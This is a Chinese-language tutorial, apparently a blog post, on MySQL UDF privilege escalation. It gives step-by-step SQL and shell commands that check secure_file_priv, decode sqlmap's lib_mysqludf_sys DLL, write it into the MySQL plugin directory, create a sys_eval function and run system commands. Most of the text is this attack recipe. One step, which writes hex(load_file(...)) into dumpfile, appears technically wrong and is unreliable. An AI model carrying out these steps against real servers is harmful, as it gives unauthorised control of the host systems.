UDF
UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。
UDF提权
使用mysql权限提升为系统权限
前提条件:
- 知道mysql用户名和密码,并且可以远程登陆
- mysql具有文件写入权限,即secure_file_priv的值为空。
提权步骤
1. 查看mysql是否有写入文件的权限
SHOW GLOBAL VARIABLES LIKE "%secure%"
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。它有三种情况
secure_file_priv的值为null,表示不能写入读取文件
secure_file_priv的值为/tmp/,表示只能写入文件到/tmp
secure_file_priv的值为空,表示允许读取写入文件
如上图表示mysql有写入的权限
2. 上传UDF的动态链接库
动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数
先查看以下插件的位置,我们需要把dll文件放在这个目录下
SHOW GLOBAL VARIABLES LIKE "%plugin%"
C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
现在需要上传dll文件,这个dll文件在sqlmap和msf中,sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql,里面分为32位和64位,首先确认一下目标版本
select @@version_compile_os, @@version_compile_machine;
我这里为64为操作系统版本,所以上传64位的dll文件
sqlmap 中这些动态链接库为了防止被误杀都经过编码处理,不能直接使用。如果后缀名为.so_或.dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll
有了udf.dll,接下来就需要上传到目标服务器执行,有两种方式
第一种方式:把udf.dll文件先上传到目标服务器,通过into dumpfile方式写入
比如把dll文件上传到d盘下,然后再dump到插件的目录
select hex(load_file('D:\\udf.dll')) into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';
第二种方式:直接写入16进制数据,参照文章 MySQL UDF 提权十六进制查询
3.创建自定义函数
上传成功后,执行如下命令创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
4.查看是否新增了sys_eval函数
select * from mysql.func;
5. 执行命令
select sys_eval('whoami')